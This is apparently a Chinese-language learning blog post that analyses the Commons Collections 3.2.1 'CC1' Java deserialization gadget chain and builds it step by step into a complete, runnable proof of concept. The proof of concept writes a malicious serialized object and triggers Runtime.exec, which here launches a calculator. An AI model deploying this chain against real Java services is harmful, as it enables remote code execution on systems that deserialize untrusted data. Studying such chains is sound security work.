简介:近年来,随着Java应用在互联网系统中的广泛应用,反序列化漏洞成为攻击者获取系统控制的常见途径之一。CC1通过巧妙地利用Java反序列化的漏洞,构建了一条攻击链,能够触发远程代码执行(RCE)。在这篇博客中,我们将深入探讨cc1攻击链的工作原理。
目标:分析CC1反序列化攻击链的攻击过程,了解其中的漏洞机制。
Apache Commons 是 Apache 软件基金会的项目,Commons 的目的是提供可重用的、解决各种实际的通用问题且开源的 Java 代码。Commons Collections 包为 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
CC1攻击链,本质上就是一场反序列化界的“接力跑”。攻击者像导演一样,精心安排了一批“演员”——这些演员就是构造出来的一组恶意对象。在Java反序列化的过程中,这些对象一个接一个地出场,每个对象都是一段可利用的代码,也被称作“gadget”。这些 gadget 之间通过方法调用、反射机制等方式彼此衔接,最终达成攻击者的目的,比如远程命令执行(RCE)。
换句话说,整个反序列化过程就像是被“劫持”了,本来只是想恢复个对象,结果一不小心就执行了别人精心布置的整条攻击链。
我们今天要分析的 CC1 链条长这样 :
ObjectInputStream.readObject
↓
AnnotationInvocationHandler.readObject
↓
AbstractInputCheckedMapDecorator.setValue
↓
TransformedMap.checkSetValue
↓
ChainedTransformer.transform
↓
InvokerTransformer.transform
sun包本身是反编译的代码,替换为openjdk源码
将jdk 8u65目录下的src解压
再将上面openjdk下载的文件解压,然后将sun目录拷贝到src下

Idea配置,将src添加进去
创建一个名为cc1的maven项目
将commons-collections3.2.1添加到pom.xml文件中
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
生成后点击更新
在攻击链中,攻击最终通过InvokerTransformer.transform()方法执行,如下图
我们写一个类似的反射命令执行,如下:
Runtime r = Runtime.getRuntime();
Class<Runtime> c = Runtime.class;
Method method = c.getMethod("exec", String.class);
method.invoke(r,"calc");
这里我们改写为InvokerTransformer.transform()的方式:
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
接下来选中上一步截图中的transform()方法,通过Find Usages查找哪些地方调用了transform,从其中找出可以利用的方法。这里我们拿TransformedMap举例。
再找使用checkSetValue的地方,这里只有唯一的一处。
我们先验证一下,这里是否能正常利用:
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("123","12");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null,invokerTransformer);
for (Map.Entry entry:transformedMap.entrySet()) {
entry.setValue(r);
}
在这里正常弹出计算器,我们接着往下走。
接下来进一步找哪里使用了setValue,最好可以找到readObject中使用的。AnnotationInvocationHandler.readObject, 如图:
验证,在这里我们发现AnnotationInvocationHandler不是公开的,所以这里只能通过反射方式进行:
// 只能通过反射获取
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取构造器
Constructor annotationInvocationHandlerConstructor= c.getDeclaredConstructor(Class.class,Map.class);
// 设置可以访问
annotationInvocationHandlerConstructor.setAccessible(true);
//实例化
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transformed);
在这里我们已经把大部分流程都走完了,整理代码,执行。会遇到以下问题:
在这里改写为反射方式
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
我们通过下图可以看到ChainedTransformer下的transform可以把transform循环调用,所以我们修改一下:
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
在这里我们执行,会发现不能正常出发命令执行。通过debug调试,发现以下问题
所以在这里我们需要找一个有成员方法的class将Override.class替换
在这里我们改为Target.class,并且将map的key改为value,如:map.put("value","12");
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
//TIP To Run code, press or
// click the icon in the gutter.
public class Main {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap<>();
map.put("value","12");
Map transformedMap = TransformedMap.decorate(map, null,chainedTransformer);
// 只能通过反射获取
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取构造器
Constructor annotationInvocationHandlerConstructor= c.getDeclaredConstructor(Class.class,Map.class);
// 设置可以访问
annotationInvocationHandlerConstructor.setAccessible(true);
//实例化
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("cc1.bin");
}
public static void serialize(Object obj) throws IOException, IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("cc1.bin")));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
return ois.readObject();
}
}
运行
作为一个还在学习阶段的小白,我可能讲得不全、不深,甚至还有理解不到位的地方。但正是因为有了这些总结,才更能让我意识到——安全知识不是死记硬背的概念,而是每一行代码背后的责任。安全路漫漫,从理解“恶意”开始。
https://www.freebuf.com/articles/web/390210.html
https://www.bilibili.com/video/BV1no4y1U7E1/?vd_source=0ed89e161f9d781c8ebfddba184f1ae7